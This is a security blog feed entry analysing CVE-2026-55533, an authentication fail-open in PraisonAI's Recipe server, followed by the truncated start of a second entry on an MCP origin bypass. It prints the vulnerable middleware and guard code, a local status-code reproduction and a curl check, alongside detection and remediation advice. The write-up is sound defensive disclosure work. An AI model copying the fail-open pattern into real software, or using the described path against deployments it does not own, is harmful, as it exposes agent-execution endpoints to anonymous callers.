    <content type="html"><![CDATA[<blockquote><p><strong>Scope and safety.</strong> This article analyzes a public vulnerability record I reported, together with its defensive implications. The reproduction shown below is the local, non-destructive status-code check published in the advisory; it contains no weaponized payload, no exploitation of third-party systems, and no instructions for attacking deployments you do not own.</p></blockquote><h2 id="Executive-summary"><a href="#Executive-summary" class="headerlink" title="Executive summary"></a>Executive summary</h2><p>CVE-2026-55533 is an authentication fail-open condition in the PraisonAI Recipe HTTP server, affecting versions before <strong>4.6.58</strong>. The server supports three authentication modes — <code>none</code>, <code>api-key</code>, and <code>jwt</code>. When an operator selects <code>api-key</code> or <code>jwt</code> but the corresponding secret is absent, the middleware does not reject the request and does not refuse to start. It simply passes the request through.</p><p>The result is a server that reports itself as authenticated while behaving exactly like <code>auth: none</code>. The condition is made externally reachable by a second defect: the CLI safety check that guards non-localhost binding verifies only that the <em>mode name</em> is not <code>&quot;none&quot;</code>. It never verifies that a usable credential exists. A command such as <code>praisonai recipe serve --host 0.0.0.0 --auth api-key</code> therefore passes the guard, binds to every interface, and accepts anonymous requests.</p><p>The issue is classified as <strong>CWE-287: Improper Authentication</strong> and <strong>CWE-306: Missing Authentication for Critical Function</strong>. The GitHub advisory rates it <strong>High</strong>, with the CVSS 3.1 vector <code>CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N</code> — a base score of <strong>8.2</strong> by the CVSS 3.1 formula.</p><p>PraisonAI fixed the issue in <strong>4.6.58</strong>. Operators should upgrade, then confirm that a real secret is present in every environment where authentication is nominally enabled.</p><p><strong>Evidence labels used below:</strong></p><ul><li><strong>Verified</strong> means stated by the linked CVE, GitHub advisory, or project release material.</li><li><strong>Inferred</strong> means a deployment or architectural consequence derived from those facts and clearly identified as such.</li></ul><h2 id="Key-facts"><a href="#Key-facts" class="headerlink" title="Key facts"></a>Key facts</h2><table><thead><tr><th>Item</th><th>Finding</th><th>Confidence</th></tr></thead><tbody><tr><td>Identifier</td><td>CVE-2026-55533</td><td>Verified</td></tr><tr><td>Advisory</td><td>GHSA-gfq8-hmph-9gjv</td><td>Verified</td></tr><tr><td>Reporter</td><td>hoanggxyuuki</td><td>Verified (advisory credits)</td></tr><tr><td>Analyst</td><td>NguyenHuyTrung</td><td>Verified (advisory credits)</td></tr><tr><td>Package</td><td>PraisonAI (pip)</td><td>Verified</td></tr><tr><td>Affected versions</td><td>Versions before 4.6.58</td><td>Verified</td></tr><tr><td>Fixed version</td><td>4.6.58</td><td>Verified</td></tr><tr><td>Weakness</td><td>Improper authentication (CWE-287), missing authentication (CWE-306)</td><td>Verified</td></tr><tr><td>Component</td><td>Recipe HTTP server, <code>src/praisonai/praisonai/recipe/serve.py</code></td><td>Verified</td></tr><tr><td>Secondary component</td><td>CLI serve guard, <code>src/praisonai/praisonai/cli/features/recipe.py</code></td><td>Verified</td></tr><tr><td>Trigger condition</td><td><code>auth</code> set to <code>api-key</code> or <code>jwt</code> with no key or secret configured</td><td>Verified</td></tr><tr><td>Exposed endpoints</td><td><code>POST /v1/recipes/run</code>, <code>/v1/recipes/stream</code>, <code>/v1/recipes/validate</code>, and <code>POST /admin/reload</code> when admin is enabled</td><td>Verified</td></tr><tr><td>Severity</td><td>High, <code>AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N</code></td><td>Verified (vector); score 8.2 derived from the vector</td></tr><tr><td>EPSS</td><td>26th percentile at time of publication</td><td>Verified</td></tr><tr><td>Fix commit</td><td><code>MervinPraison/PraisonAI@2f9677a</code></td><td>Verified</td></tr></tbody></table><h2 id="Why-fail-open-authentication-is-worse-than-no-authentication"><a href="#Why-fail-open-authentication-is-worse-than-no-authentication" class="headerlink" title="Why fail-open authentication is worse than no authentication"></a>Why fail-open authentication is worse than no authentication</h2><p>An unauthenticated service is at least honest about what it is. An operator who runs a service with <code>auth: none</code> knows they are responsible for every layer of protection in front of it, and will usually put the service behind a network boundary and treat it accordingly.</p><p>A fail-open service breaks that contract. The operator selects an authentication mode, the process starts without complaint, the configuration file and the deployment manifest both say <code>auth: api-key</code>, and every audit artifact agrees that the endpoint is protected. Nothing in the running system contradicts the belief — until an anonymous request succeeds.</p><p>Three properties make this class especially damaging:</p><ul><li><strong>It is silent.</strong> There is no warning log, no startup failure, and no different response shape. The only observable difference is that a request without a credential returns <code>200</code> instead of <code>401</code>.</li><li><strong>It is invisible to configuration review.</strong> Reading the deployment manifest confirms the <em>intent</em>, not the <em>effect</em>. A reviewer sees <code>--auth api-key</code> and stops looking.</li><li><strong>It can appear after a successful deployment.</strong> <strong>Inferred:</strong> the secret does not have to be forgotten at design time. A rotated key that is never re-injected, a Kubernetes Secret that fails to mount, a <code>.env</code> file missing from a rebuilt image, or a CI variable scoped to the wrong environment all produce the same outcome — a service that was authenticated yesterday and is anonymous today, with no signal that anything changed.</li></ul><p>For an agent framework the stakes are higher than for a typical CRUD API, because the endpoints that fall open do not return data — they <em>execute</em> work.</p><h2 id="Root-cause-analysis"><a href="#Root-cause-analysis" class="headerlink" title="Root-cause analysis"></a>Root-cause analysis</h2><h3 id="The-middleware-allows-the-request-when-no-secret-exists"><a href="#The-middleware-allows-the-request-when-no-secret-exists" class="headerlink" title="The middleware allows the request when no secret exists"></a>The middleware allows the request when no secret exists</h3><p>The Recipe server builds its authentication middleware in <code>create_auth_middleware()</code>. The API-key branch resolves the expected credential from an explicit argument or from the environment, and then makes a decision that determines the entire outcome of this CVE:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">expected_key = api_key <span class="keyword">or</span> os.environ.get(<span class="string">&quot;PRAISONAI_API_KEY&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="keyword">not</span> expected_key:</span><br><span class="line">    <span class="comment"># No key configured, allow request</span></span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">await</span> call_next(request)</span><br></pre></td></tr></table></figure><p>The JWT branch is structurally identical:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">secret = jwt_secret <span class="keyword">or</span> os.environ.get(<span class="string">&quot;PRAISONAI_JWT_SECRET&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> <span class="keyword">not</span> secret:</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">await</span> call_next(request)</span><br></pre></td></tr></table></figure><p>Read in isolation, each branch looks like a reasonable convenience: <em>if nothing is configured, do not get in the user’s way</em>. The comment even states the intent plainly. The problem is that “nothing is configured” is being treated as “the operator does not want authentication,” when the surrounding configuration has already established the opposite — the operator explicitly asked for <code>api-key</code> or <code>jwt</code>.</p><p>An absent secret is not a request to disable a control. It is a broken control, and a broken security control must fail closed.</p><h3 id="The-middleware-is-attached-which-makes-the-failure-convincing"><a href="#The-middleware-is-attached-which-makes-the-failure-convincing" class="headerlink" title="The middleware is attached, which makes the failure convincing"></a>The middleware is attached, which makes the failure convincing</h3><p>The server only installs the middleware when a mode other than <code>none</code> is selected:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">auth_type = config.get(<span class="string">&quot;auth&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> auth_type <span class="keyword">and</span> auth_type != <span class="string">&quot;none&quot;</span>:</span><br><span class="line">    auth_middleware = create_auth_middleware(</span><br><span class="line">        auth_type,</span><br><span class="line">        api_key=config.get(<span class="string">&quot;api_key&quot;</span>),</span><br><span class="line">        jwt_secret=config.get(<span class="string">&quot;jwt_secret&quot;</span>),</span><br><span class="line">    )</span><br><span class="line">    <span class="keyword">if</span> auth_middleware:</span><br><span class="line">        middleware.append(Middleware(auth_middleware))</span><br></pre></td></tr></table></figure><p>This is worth noting because it means the middleware really is present in the ASGI stack. Anything that introspects the application — a startup log, a health check, a debugging session — will confirm that authentication middleware is installed. It is installed, mounted, and running. It just returns <code>call_next(request)</code> for every caller.</p><h3 id="The-CLI-guard-checks-the-label-not-the-capability"><a href="#The-CLI-guard-checks-the-label-not-the-capability" class="headerlink" title="The CLI guard checks the label, not the capability"></a>The CLI guard checks the label, not the capability</h3><p>The path that turns a local weakness into a network-reachable one is the non-localhost safety check in <code>cmd_serve</code>:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> host != <span class="string">&quot;127.0.0.1&quot;</span> <span class="keyword">and</span> host != <span class="string">&quot;localhost&quot;</span> <span class="keyword">and</span> auth == <span class="string">&quot;none&quot;</span>:</span><br><span class="line">    <span class="variable language_">self</span>._print_error(<span class="string">&quot;Auth required for non-localhost binding. Use --auth api-key or --auth jwt&quot;</span>)</span><br><span class="line">    <span class="keyword">return</span> <span class="variable language_">self</span>.EXIT_POLICY_DENIED</span><br></pre></td></tr></table></figure><p>The intent behind this guard is exactly right: do not let a user publish this service to every interface without authentication. The implementation checks the wrong predicate. It asks <em>“has the operator named an authentication mode?”</em> when the invariant it is trying to enforce is <em>“will an anonymous request be rejected?”</em></p><p>Those two questions have the same answer in every case except the one that matters. So the following command passes the guard, prints no warning, and binds to all interfaces with no effective authentication:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">praisonai recipe serve --host 0.0.0.0 --auth api-key</span><br></pre></td></tr></table></figure><p><strong>Verified:</strong> the advisory confirms that with no <code>--api-key</code> and no <code>PRAISONAI_API_KEY</code> in the environment, requests are still accepted.</p><h3 id="The-two-defects-compose"><a href="#The-two-defects-compose" class="headerlink" title="The two defects compose"></a>The two defects compose</h3><p>Neither defect is maximally severe alone. The middleware fail-open on a loopback-bound server is a local exposure. The CLI guard is only a guard — it protects nothing on its own. Together they form a complete path: the guard grants permission to bind publicly on the strength of a control that the middleware has quietly disabled.</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">Operator intent:  &quot;expose the recipe server, but require an API key&quot;</span><br><span class="line">        |</span><br><span class="line">        v</span><br><span class="line">CLI guard        auth != &quot;none&quot;?  -&gt; yes  -&gt; allow 0.0.0.0 bind</span><br><span class="line">        |                                        (never checks for a secret)</span><br><span class="line">        v</span><br><span class="line">Middleware       expected_key set? -&gt; no   -&gt; call_next(request)</span><br><span class="line">        |                                        (never rejects)</span><br><span class="line">        v</span><br><span class="line">Anonymous network client  ----&gt;  POST /v1/recipes/run</span><br><span class="line">                                 POST /v1/recipes/stream</span><br><span class="line">                                 POST /v1/recipes/validate</span><br><span class="line">                                 POST /admin/reload   (when enable_admin)</span><br></pre></td></tr></table></figure><h2 id="Reproduction-a-status-code-differential"><a href="#Reproduction-a-status-code-differential" class="headerlink" title="Reproduction: a status-code differential"></a>Reproduction: a status-code differential</h2><p>The published proof of concept is deliberately boring, and that is the point. It does not exploit anything. It builds the application in-process with Starlette’s <code>TestClient</code>, with the relevant environment variables removed, and compares status codes across three configurations.</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Ensure no secrets are present in the environment.</span></span><br><span class="line">os.environ.pop(<span class="string">&quot;PRAISONAI_API_KEY&quot;</span>, <span class="literal">None</span>)</span><br><span class="line">os.environ.pop(<span class="string">&quot;PRAISONAI_JWT_SECRET&quot;</span>, <span class="literal">None</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> praisonai.recipe.serve <span class="keyword">import</span> create_app</span><br><span class="line"></span><br><span class="line"><span class="comment"># api-key auth selected, but no key configured.</span></span><br><span class="line">app_open = create_app(&#123;<span class="string">&quot;auth&quot;</span>: <span class="string">&quot;api-key&quot;</span>, <span class="string">&quot;enable_admin&quot;</span>: <span class="literal">True</span>&#125;)</span><br><span class="line"></span><br><span class="line"><span class="comment"># api-key auth selected with an actual key configured.</span></span><br><span class="line">app_closed = create_app(&#123;<span class="string">&quot;auth&quot;</span>: <span class="string">&quot;api-key&quot;</span>, <span class="string">&quot;api_key&quot;</span>: <span class="string">&quot;expected&quot;</span>, <span class="string">&quot;enable_admin&quot;</span>: <span class="literal">True</span>&#125;)</span><br><span class="line"></span><br><span class="line"><span class="comment"># jwt auth selected, but no JWT secret configured.</span></span><br><span class="line">app_jwt_open = create_app(&#123;<span class="string">&quot;auth&quot;</span>: <span class="string">&quot;jwt&quot;</span>&#125;)</span><br></pre></td></tr></table></figure><p>The observed behaviour on an affected version:</p><table><thead><tr><th>Configuration</th><th>Request</th><th>Status</th></tr></thead><tbody><tr><td><code>auth: api-key</code>, no key</td><td><code>GET /openapi.json</code></td><td><code>200</code></td></tr><tr><td><code>auth: api-key</code>, no key</td><td><code>POST /admin/reload</code></td><td><code>200</code></td></tr><tr><td><code>auth: api-key</code>, key set</td><td><code>POST /admin/reload</code>, no key sent</td><td><code>401</code></td></tr><tr><td><code>auth: api-key</code>, key set</td><td><code>POST /admin/reload</code>, wrong key</td><td><code>401</code></td></tr><tr><td><code>auth: api-key</code>, key set</td><td><code>POST /admin/reload</code>, correct key</td><td><code>200</code></td></tr><tr><td><code>auth: jwt</code>, no secret</td><td><code>GET /openapi.json</code></td><td><code>200</code></td></tr></tbody></table><p>The middle three rows are the control group: with a key configured, the middleware rejects correctly, which proves the enforcement logic itself is sound. The failure is entirely in the decision about what to do when the secret is missing. A single test asserting <code>401</code> for the no-secret case would have caught this, which is the practical lesson at the end of this article.</p><h2 id="Impact-and-deployment-dependent-blast-radius"><a href="#Impact-and-deployment-dependent-blast-radius" class="headerlink" title="Impact and deployment-dependent blast radius"></a>Impact and deployment-dependent blast radius</h2><h3 id="Verified-impact"><a href="#Verified-impact" class="headerlink" title="Verified impact"></a>Verified impact</h3><ul><li>An unauthenticated attacker can reach Recipe server endpoints on a deployment where the operator selected <code>api-key</code> or <code>jwt</code> authentication.</li><li>Recipe execution endpoints — <code>POST /v1/recipes/run</code> and <code>POST /v1/recipes/stream</code> — are reachable without credentials.</li><li>When <code>enable_admin</code> is set, <code>POST /admin/reload</code> is reachable without credentials.</li><li>The CVSS vector records network attack vector, low complexity, no privileges, and no user interaction, with <strong>High integrity impact</strong> and <strong>Low confidentiality impact</strong>.</li></ul><p>The integrity-weighted vector is the correct reading. This is not primarily a data-disclosure bug; it is an unauthorized-execution bug. The attacker’s main capability is to make the server <em>do things</em>.</p><h3 id="Deployment-dependent-consequences"><a href="#Deployment-dependent-consequences" class="headerlink" title="Deployment-dependent consequences"></a>Deployment-dependent consequences</h3><p>The following are <strong>inferred</strong>, and depend entirely on which recipes a given installation exposes and what those recipes are permitted to do:</p><ul><li>invocation of arbitrary registered recipe workflows, including any that call tools, write files, or reach internal services;</li><li>consumption of the operator’s LLM provider quota and budget through unauthenticated recipe runs;</li><li>use of the server’s network position to reach services that trust it;</li><li>exposure of whatever recipe definitions, names, and parameter schemas the API surface reveals;</li><li>administrative reload operations that pick up changed recipe definitions, where the admin endpoint is enabled;</li><li>denial of service through resource exhaustion, though availability is rated <code>A:N</code> in the official vector.</li></ul><p>The upper bound is set by the recipes themselves. A deployment whose recipes only summarize text is materially different from one whose recipes have filesystem or shell tooling attached — but in both cases the operator believed the endpoint required a credential, and it did not.</p><h2 id="Safe-validation-and-detection"><a href="#Safe-validation-and-detection" class="headerlink" title="Safe validation and detection"></a>Safe validation and detection</h2><h3 id="Configuration-review"><a href="#Configuration-review" class="headerlink" title="Configuration review"></a>Configuration review</h3><ol><li>Inventory PraisonAI installations and record the version. Flag anything before 4.6.58.</li><li>Find every place the Recipe server is started: shell scripts, systemd units, Dockerfiles, Compose files, Kubernetes manifests, CI jobs, and process supervisors.</li><li>For each, extract the <code>--host</code>&#x2F;<code>host</code> and <code>--auth</code>&#x2F;<code>auth</code> values.</li><li>For each invocation where <code>auth</code> is <code>api-key</code> or <code>jwt</code>, confirm that a secret is actually present <strong>in the environment the process runs in</strong> — not merely referenced in a template. A <code>$&#123;PRAISONAI_API_KEY&#125;</code> reference that resolves to an empty string is the vulnerable case.</li><li>Treat any host other than <code>127.0.0.1</code>, <code>localhost</code>, or <code>::1</code> as published until proven otherwise, including binds to <code>0.0.0.0</code> behind a network policy you have not read this quarter.</li></ol><h3 id="Non-destructive-runtime-check"><a href="#Non-destructive-runtime-check" class="headerlink" title="Non-destructive runtime check"></a>Non-destructive runtime check</h3><p>On a system you own or are authorized to assess, the cheapest confirmation is a single credential-free request to a harmless endpoint:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># On your own deployment only. A 200 here means auth is not being enforced.</span></span><br><span class="line">curl -s -o /dev/null -w <span class="string">&#x27;%&#123;http_code&#125;\n&#x27;</span> http://&lt;your-host&gt;:&lt;port&gt;/openapi.json</span><br></pre></td></tr></table></figure><p><code>401</code> means the control is effective. <code>200</code> on a server configured for <code>api-key</code> or <code>jwt</code> means it is not. No recipe is executed and no state is changed by this request.</p><h3 id="Log-and-telemetry-review"><a href="#Log-and-telemetry-review" class="headerlink" title="Log and telemetry review"></a>Log and telemetry review</h3><p>Look for:</p><ul><li>successful <code>2xx</code> responses to <code>/v1/recipes/run</code>, <code>/v1/recipes/stream</code>, or <code>/admin/reload</code> on requests that carried no <code>Authorization</code> or <code>X-API-Key</code> header;</li><li>requests to the recipe endpoints from source addresses outside the expected client set;</li><li>recipe executions that do not correlate with a known upstream job, schedule, or user session;</li><li><code>/admin/reload</code> calls at any time they were not part of a deployment;</li><li>LLM provider usage or spend that does not match your own workload;</li><li>discovery-shaped traffic against <code>/openapi.json</code> followed by direct endpoint calls.</li></ul><p><strong>Inferred:</strong> if your access logs do not record whether an authentication header was present, add that field before you need it. Reconstructing which historical requests were anonymous is far harder after the fact.</p><h2 id="Remediation-and-hardening"><a href="#Remediation-and-hardening" class="headerlink" title="Remediation and hardening"></a>Remediation and hardening</h2><h3 id="Required-remediation"><a href="#Required-remediation" class="headerlink" title="Required remediation"></a>Required remediation</h3><p>Upgrade to <strong>PraisonAI 4.6.58 or later</strong>, then verify — do not assume — that each environment has a real secret. The upgrade converts a silent pass-through into an enforced rejection, which means a deployment that has been quietly running without a secret will begin returning <code>401</code> after the upgrade. That is the fix working correctly. Plan for it: check every environment’s secret injection <em>before</em> the rollout rather than discovering the gap through a broken client.</p><h3 id="Defense-in-depth"><a href="#Defense-in-depth" class="headerlink" title="Defense in depth"></a>Defense in depth</h3><ul><li>Bind the Recipe server to loopback and place an authenticated, fail-closed reverse proxy in front of it.</li><li>Do not publish agent-execution APIs directly to the internet.</li><li>Make the secret’s presence a startup precondition in your own orchestration: fail the container’s readiness check if the variable is empty, so a missing secret becomes a failed deploy instead of an open endpoint.</li><li>Alert on empty-but-required environment variables in your deployment pipeline.</li><li>Leave <code>enable_admin</code> off unless an administrative workflow genuinely requires it, and expose it on a separate, more tightly restricted path when it does.</li><li>Restrict callers by network policy and service identity, not only by credential.</li><li>Scope the runtime: non-root user, minimal mounts, restricted egress, and no ambient cloud credentials that recipes could reach.</li><li>Apply rate limits and per-run resource ceilings so that anonymous or stolen access cannot be converted into unbounded provider spend.</li><li>If you cannot rule out that a vulnerable version was reachable without a secret, rotate the credentials the process could access and review recipe execution history for the exposure window.</li></ul><p>Network controls are compensating controls, not a substitute for the upgrade. An internal caller, a compromised neighbouring workload, or a misrouted ingress can all reach an endpoint that was never really protected.</p><h2 id="Timeline"><a href="#Timeline" class="headerlink" title="Timeline"></a>Timeline</h2><table><thead><tr><th>Date</th><th>Event</th><th>Source certainty</th></tr></thead><tbody><tr><td>2026-06-13</td><td>GitHub shows the advisory published in <code>MervinPraison/PraisonAI</code>, alongside the <code>v4.6.58</code> release containing fix commit <code>2f9677a</code>.</td><td>Primary advisory and release page</td></tr><tr><td>Around 2026-08-25</td><td>GitHub records publication to the GitHub Advisory Database, with review completed and metadata last updated around the same time.</td><td>Advisory page, displayed as a relative timestamp at time of writing</td></tr><tr><td>2026-08-29</td><td>This analysis published.</td><td>This site</td></tr></tbody></table><p>Advisory records are reserved, published, reviewed, and enriched at different times, and GitHub displays some of these as relative timestamps that drift as the page is re-rendered. Read the live records for authoritative chronology; nothing here should be treated as the vendor-notification or discovery date.</p><h2 id="Lessons-for-builders"><a href="#Lessons-for-builders" class="headerlink" title="Lessons for builders"></a>Lessons for builders</h2><h3 id="Fail-closed-always"><a href="#Fail-closed-always" class="headerlink" title="Fail closed, always"></a>Fail closed, always</h3><p>A security control that cannot function must refuse to serve, not step aside. The single-line change in posture is:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Vulnerable shape.</span></span><br><span class="line"><span class="keyword">if</span> <span class="keyword">not</span> expected_key:</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">await</span> call_next(request)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Correct shape.</span></span><br><span class="line"><span class="keyword">if</span> <span class="keyword">not</span> expected_key:</span><br><span class="line">    <span class="keyword">return</span> JSONResponse(&#123;<span class="string">&quot;error&quot;</span>: <span class="string">&quot;Server misconfigured: auth enabled without a secret&quot;</span>&#125;, status_code=<span class="number">500</span>)</span><br></pre></td></tr></table></figure><p>Returning <code>500</code> rather than <code>401</code> is deliberate here: the caller did nothing wrong, and the operator needs a distinguishable signal. Better still, refuse at startup — see below.</p><h3 id="Validate-configuration-once-at-startup-not-per-request"><a href="#Validate-configuration-once-at-startup-not-per-request" class="headerlink" title="Validate configuration once, at startup, not per request"></a>Validate configuration once, at startup, not per request</h3><p>Per-request handling of a missing secret means the same broken state is re-evaluated thousands of times and never surfaces. Configuration is not request data: resolve it when the application is constructed, and raise if the combination is incoherent.</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Defensive pseudocode.</span></span><br><span class="line"><span class="keyword">if</span> auth_type <span class="keyword">in</span> &#123;<span class="string">&quot;api-key&quot;</span>, <span class="string">&quot;jwt&quot;</span>&#125; <span class="keyword">and</span> <span class="keyword">not</span> resolve_secret(auth_type, config):</span><br><span class="line">    <span class="keyword">raise</span> ConfigurationError(</span><br><span class="line">        <span class="string">f&quot;auth=<span class="subst">&#123;auth_type&#125;</span> requires a secret; refusing to start&quot;</span></span><br><span class="line">    )</span><br></pre></td></tr></table></figure><p>A process that will not start is a loud, immediate, unmissable failure. A process that starts and silently accepts anonymous traffic is the worst possible outcome of the same mistake.</p><h3 id="Guards-must-test-the-invariant-they-promise"><a href="#Guards-must-test-the-invariant-they-promise" class="headerlink" title="Guards must test the invariant they promise"></a>Guards must test the invariant they promise</h3><p>The CLI check enforced <code>auth != &quot;none&quot;</code> while promising “auth required for non-localhost binding.” Whenever a guard’s condition and its error message describe different things, that gap is a bug waiting to be found. The guard should have called the same resolution function the middleware uses, and asked whether it produced a usable credential.</p><p>This generalizes: a check on a <em>setting’s name</em> is not a check on a <em>capability</em>. Enforce on the resolved value, not on the label the operator typed.</p><h3 id="Test-the-negative-path"><a href="#Test-the-negative-path" class="headerlink" title="Test the negative path"></a>Test the negative path</h3><p>Every one of the failing behaviours here is one assertion away from being caught:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">test_api_key_auth_without_key_rejects</span>():</span><br><span class="line">    app = create_app(&#123;<span class="string">&quot;auth&quot;</span>: <span class="string">&quot;api-key&quot;</span>&#125;)   <span class="comment"># no key, deliberately</span></span><br><span class="line">    <span class="keyword">assert</span> TestClient(app).post(<span class="string">&quot;/admin/reload&quot;</span>).status_code != <span class="number">200</span></span><br></pre></td></tr></table></figure><p>Positive-path tests confirm that a correct credential works — and the control group in the reproduction above proves those tests passed. The missing test is the one that asserts what happens when the <em>server itself</em> is misconfigured. For any security control, write the test that describes what must never succeed.</p><h3 id="Treat-agent-execution-endpoints-as-privileged-by-default"><a href="#Treat-agent-execution-endpoints-as-privileged-by-default" class="headerlink" title="Treat agent execution endpoints as privileged by default"></a>Treat agent execution endpoints as privileged by default</h3><p>A recipe endpoint is not a data endpoint. It runs workflows, spends money, touches tools, and may reach internal systems. Defaults for such surfaces should be conservative — loopback binding, admin off, and an explicit, loudly-confirmed decision required before anything becomes reachable outside a private control plane.</p><h2 id="Related-reading"><a href="#Related-reading" class="headerlink" title="Related reading"></a>Related reading</h2><ul><li><a href="/posts/2026/08/cve-2026-55529-praisonai-mcp-origin-bypass/">CVE-2026-55529: PraisonAI MCP Origin Validation Bypass</a> — the second issue fixed in PraisonAI 4.6.58, where a <code>startswith()</code> origin check lets a malicious webpage reach a local MCP server.</li><li><a href="/posts/2026/07/2026-07-13-cve-2026-57572-crawl4ai-docker-api-argument-injection/">CVE-2026-57572: Crawl4AI Unauthenticated RCE via Chromium Argument Injection</a> — a related pattern in AI infrastructure, where a flexible configuration field crosses a process-launch trust boundary.</li></ul><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://www.cve.org/CVERecord?id=CVE-2026-55533">CVE.org record: CVE-2026-55533</a></li><li><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-55533">NIST National Vulnerability Database: CVE-2026-55533</a></li><li><a href="https://github.com/advisories/GHSA-gfq8-hmph-9gjv">GitHub Security Advisory: GHSA-gfq8-hmph-9gjv</a></li><li><a href="https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58">PraisonAI v4.6.58 release</a></li><li><a href="https://github.com/MervinPraison/PraisonAI/commit/2f9677a">Fix commit 2f9677a</a></li><li><a href="https://cwe.mitre.org/data/definitions/287.html">CWE-287: Improper Authentication</a></li><li><a href="https://cwe.mitre.org/data/definitions/306.html">CWE-306: Missing Authentication for Critical Function</a></li></ul><p>Public vulnerability records change as maintainers and databases add references or revise metadata. Recheck the primary sources above during remediation and incident response.</p>]]></content>
    
    
    <summary type="html">CVE-2026-55533 affects PraisonAI before 4.6.58: the Recipe HTTP server accepts unauthenticated requests when auth is set to api-key or jwt but no secret is configured. Upgrade to 4.6.58 or later.</summary>
    
    
    
    <category term="Research" scheme="https://blog.nhhoang.io.vn/categories/Research/"/>
    
    <category term="Vulnerability Research" scheme="https://blog.nhhoang.io.vn/categories/Research/Vulnerability-Research/"/>
    
    
    <category term="ai-security" scheme="https://blog.nhhoang.io.vn/tags/ai-security/"/>
    
    <category term="authentication" scheme="https://blog.nhhoang.io.vn/tags/authentication/"/>
    
    <category term="api-security" scheme="https://blog.nhhoang.io.vn/tags/api-security/"/>
    
    <category term="cve" scheme="https://blog.nhhoang.io.vn/tags/cve/"/>
    
    <category term="praisonai" scheme="https://blog.nhhoang.io.vn/tags/praisonai/"/>
    
    <category term="agent-framework" scheme="https://blog.nhhoang.io.vn/tags/agent-framework/"/>
    
    <category term="fail-open" scheme="https://blog.nhhoang.io.vn/tags/fail-open/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2026-55529: PraisonAI MCP Origin Validation Bypass</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/08/cve-2026-55529-praisonai-mcp-origin-bypass/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/08/cve-2026-55529-praisonai-mcp-origin-bypass/</id>
    <published>2026-08-29T02:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.495Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Scope and safety.</strong> This article analyzes a public vulnerability record I reported, together with its defensive implications. The reproduction referenced below is the local, in-process proof of concept published in the advisory — it stubs out the LLM provider entirely so no data leaves the machine, and it contains no hosted attack page, no exfiltration infrastructure, and no instructions for targeting systems you do not own.</p></blockquote><h2 id="Executive-summary"><a href="#Executive-summary" class="headerlink" title="Executive summary"></a>Executive summary</h2><p>CVE-2026-55529 is an origin validation bypass in PraisonAI’s MCP HTTP Stream transport, affecting versions before <strong>4.6.58</strong>. When the transport binds to localhost and no explicit origin allowlist is configured, it installs a default allowlist containing bare origins such as <code>http://localhost</code> and <code>http://127.0.0.1</code>. The validator then accepts any origin that <em>starts with</em> an allowlisted value:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> allowed <span class="keyword">in</span> <span class="variable language_">self</span>.allowed_origins:</span><br><span class="line">    <span class="keyword">if</span> request_origin == allowed <span class="keyword">or</span> request_origin.startswith(allowed):</span><br><span class="line">        <span class="keyword">return</span> <span 